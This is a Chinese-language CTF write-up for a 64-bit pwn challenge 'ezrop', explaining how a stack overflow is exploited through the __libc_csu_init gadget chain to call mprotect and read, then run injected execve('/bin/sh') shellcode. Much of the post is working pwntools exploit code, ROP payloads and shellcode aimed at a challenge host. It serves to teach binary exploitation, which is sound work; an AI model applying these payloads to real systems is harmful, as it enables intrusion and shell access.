一次有意思的CTF题目

VSole2021-12-12 22:16:19

#记录一次有意思的ctf题目 今天遇到了一个很有意思的题目,现在还没做完,但经过漫长是审计后找到了突破点,现在就带大家一起看看这有意思的,简单的,复杂的rop ##一拿到题目首先检查其安全项目和操作位数

我们可以从上面的图片观察到它是64位程序,几乎没开保护。之后用ida打开这个程序

可以观察到这个程序并不会太复杂,简单判断是read函数造成的溢出。跟着程序往下走,我们很快就找到了溢出点

我们从上面两张图可以发现明显的栈溢出点。当我以为,这题也就这样,几分钟就能拿下时。遇到了意外。##程序利用的难点 这题看似简单,其实一点都不简单。在我开始收集程序信息并疑惑,这么简单的题目为什么没人多少人做出来,分数还特别高时,我发现了一个相当严重的问题

我们可以发现,这些gadget里面压根没有关于rdx寄存器有关的操作,不是没有pop rdx的操作,是完全找不到rdx,这对于我们接下来需要用到的两个重要函数read和mprotect来说是致命的,这就是说我们不能控制这些参数了。起初我还以为可能是我方向错了,以为要用泄露libc库,可是没找到合适的泄露函数使用放弃了。到此为止我总算理解为什么分这么高了,正当我准备放弃时,我被其它题目劝退了,感觉还不如做这个安全系数小的题目,于是我硬着头皮把整个程序的汇编码看了一遍,在里面大海捞针,企图找到突破点,终于,经过我不知道多久的努力后,我找到它了。是他,是他,就是他,虽然我没利用,但我已经听到了他的呼唤

从上图我看到了什么?看到了希望,看到了曲线救国,你敢信,这东西藏在初始化函数里面。不得不说出题人真是好算计,要不是有几个人做出来了,我都怀疑题目出错了。##利用 接下来将一起解决这个有意思的,简单的,复杂的rop。首先找到能控制r12到r15寄存器的点:0x4006dc(上两张图可以看到)**接下来就是对栈精细布局了,在此之前我们还需要一个寄存器:rbx因为我们对这个利用点只用一次,所以我们不需要去控制它,只需要知道他在利用前的值,配合r12精细计算,就能得到我们要的所有地址,我们gdb动态调试一下** 首先利用gdb加载程序,之后对rbx进行监控,确定我们的输入是不会对它造成影响的。,之后再在溢出点前下断定,如果程序直接断到我们的断点就说明rbx没有变过,如果过程中因为rbx改变造成中断,我们就看上下文,与我们的输入有没有关系。在跟踪过程中,前三次次改变是因为setbuf函数,无关。之后rbx寄存器被清空为0。之后就直接到了我们的溢出点,所以结论,rbx寄存器不受我们影响,且在利用前值为0,所以我们等一下直接用r12代表我们的地址 ##开始码payload 首先先把收集得到的东西写出来

from pwn import *
fd = process('./ezrop')
elf= ELF('ezrop')
use=0x4006C0
pop_r12_15=0x4006dc
mprotect=elf.plt["mprotect"]
bss=0x600AC0
read=elf.plt["read"]
pop_rdi=0x4006e3
pop_rsi_r15=0x4006e1

之后写我们的payload

payload=b'a'*0x58+p64(pop_r12_15)+p64(mprotect)+p64(7)+p64(0x1000)+p64(bss)+p64(use)+p64(pop_r12_15)+p64(read)+p64(0x1000)+p64(bss)+p64(0)+p64(use)

其中ues就是我们找的利用点,当写到这里时我发现了一个一开始就忽略的问题

我们往下看函数,可以看到,为了让函数只执行一次,我们需要把rbp寄存器为1,看到这里我也知道了gadget里面的pop_r12_15从哪来了,这里有两种解决方案,修改溢出点的对应的rbp位置,这里也给出payload

payload=b'a'*0x50+p64(1)+p64(pop_r12_15)+p64(mprotect)+p64(7)+p64(0x1000)+p64(bss)+p64(use)

第二种方案,补全我们的pop_r12_15为pop_rbx_rbp_r12_15,这里也给出对应代码

pop_rbx_rbp_r12_15=0x4006DA
payload=b'a'*0x58+p64(pop_rbx_rbp_r12_15)+p64(0)+p64(1)+p64(mprotect)+p64(7)+p64(0x1000)+p64(bss)+p64(use)

其中原payload后面的布置也就相应无效了,解决完问题继续往下走 以上是使用mprotect函数,接下来要使用read函数了,在此之前,先把add rsp,8 和一众pop函数填完,这将是我们填参数的地方

payload+=b'a'*8+p64(1)+p64(0)+p64(read)+p64(0x1000)+p64(bss)+p64(0)+p64(use)

最后我们只需要把我们的shellcode写进去,然后把执行流导向纳里就ok了

payload+=b'a'*8+p64(bss)*7
fd.sendline(payload)
fd.sendline(shellcode)

ok,到此为止,我们的payload完成了,完整payload:

elf= ELF('ezrop')
shellcode=asm(shellcraft.sh())
fd = remote('node2.hackingfor.fun',38256)
pop_rbx_rbp_r12_15=0x4006DA
use=0x4006C0
pop_r12_15=0x4006dc
mprotect=elf.plt["mprotect"]
bss=0x600AC0
read=elf.plt["read"]
pop_rdi=0x4006e3
pop_rsi_r15=0x4006e1
payload=b'a'*0x50+p64(1)+p64(pop_r12_15)+p64(mprotect)+p64(7)+p64(0x1000)+p64(bss)+p64(use)+b'a'*8+p64(1)+p64(0)+p64(read)+p64(0x1000)+p64(bss)+p64(0)+p64(use)+b'a'*8+p64(bss)*7
fd.sendline(payload)
fd.sendline(shellcode)
fd.interactive()

然后我们执行代码之后。。。。。

Are you a shellcode master?**我是shellcode大师吗?,我靠居然嘲讽我...,显然的,思路不对。经过调试后我们发现了问题所在call qword ptr [r12+rbx*8]**其中是调用解引用r12之后的地址,不是直接引用r12地址,这波大意了,没有闪。然后就得去寻找哪个地方里面存了mprotect的地址,也就是got表地址, 然后我们又发现还是不能getshell,进行本地调试后我们发现我们没有修改权限成功,然后我突然意识到了什么,于是我把修改权限的地址放在了页的最前面,修改一个页的大小,最后成功getshell。

##最后

from pwn import *
context.log_level = 'debug'
context.arch = "amd64"
fd = process('./ezrop')
elf= ELF('ezrop')
shellcode='''
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
    mov rdi, rsp
    /* push argument array ['sh\x00'] */
    /* push b'sh\x00' */
    push 0x1010101 ^ 0x6873
    xor dword ptr [rsp], 0x1010101
    xor esi, esi /* 0 */
    push rsi /* null terminate */
    push 8
    pop rsi
    add rsi, rsp
    push rsi /* 'sh\x00' */
    mov rsi, rsp
    xor edx, edx /* 0 */
    /* call execve() */
    push SYS_execve /* 0x3b */
    pop rax
    syscall
'''
shellcode=asm(shellcode)
fd = remote('node2.hackingfor.fun',31564)
pop_rbx_rbp_r12_15=0x4006DA
use=0x4006C0
pop_r12_15=0x4006dc
mprotect=elf.got["mprotect"]
bss=0x600ac0
change=0x600000
read=elf.got["read"]
pop_rdi=0x4006e3
pop_rsi_r15=0x4006e1
vuln=0x400633
payload=b'a'*0x50+p64(1)+p64(pop_r12_15)+p64(mprotect)+p64(7)+p64(0x1000)+p64(change)+p64(use)+b'a'*8+p64(0)+p64(1)+p64(read)+p64(0x1000)+p64(bss)+p64(0)+p64(use)+b'a'*8+p64(bss)*10
fd.sendline(payload)
fd.sendline(shellcode)
fd.interactive()
ctf
本作品采用《CC 协议》,转载必须注明作者和本文链接
CTF-web--命令注入
2023-03-31 09:51:35
大佬总结的文章,本篇文章阅读时间大约30分钟。一 、基本原理 命令注入指的是,利用没有验证过的恶意命令或代码,对网站或服务器进行渗透攻击。注入有很多种,并不仅仅只有SQL注入。Injection)客户端脚本攻击(Script?injection)动态函数注入攻击(Dynamic?Evaluation)序列化注入&对象注入。这种题目又哪些常见的,一个是我们常用的文件包含,我们是可以使用system等函数的,或者是php函数,应该也属于命令注入的范畴。类似于 ?
CTF反序列化入门
2022-07-11 16:27:22
这两个过程结合起来,可以轻松地存储和传输数据。就是将对象的状态信息写成一串字符,以便传输和保存。
1.注释符绕过 常用的注释符有: 1)-- 注释内容 2)# 注释内容 3)/*注释内容*/ eg:union select 1,2# union select 1,2 --+ 构造闭合 ’ union select 1,2’
CTF或过WAF的sql注入绕过姿势总结
前言本文主要着眼于glibc下的一些漏洞及利用技巧和IO调用链,由浅入深,分为 “基础堆利用漏洞及基本IO攻击” 与 “高版本glibc下的利用” 两部分来进行讲解,前者主要包括了一些glibc相关的基础知识,以及低版本glibc下常见的漏洞利用方式,后者主要涉及到一些较新的glibc下的IO调用链。
CTFd动态靶机搭建笔记
2022-04-28 22:00:10
动态靶机搭建
CTF盲水印详解
2022-01-18 14:42:20
盲水印的出现频率是相当高
0x01 前言在2021年10月15日的“中国能源网络安全大赛”,笔者对WEB题目进行了尝试,幸运的做出了所有题目。0x02 ezphp这是一道很简单的题目,同时也被大家刷成了签到题。
CTF密码学-加解密总结
2021-10-18 15:14:29
密码学(在西欧语文中,源于希腊语kryptós“隐藏的”,和gráphein“书写”)是研究如何隐密地传递信息的学科。 在现代特别指对信息以及其传输的数学性研究,常被认为是数学和计算机科学的分支,和信息论也密切相关。 著名的密码学者Ron Rivest解释道:“密码学是关于如何在敌人存在的环境中通讯”,自工程学的角度,这相当于密码学与纯数学的异同。 密码学是信息安全等相关议题,如认证、访问控
VSole
网络安全专家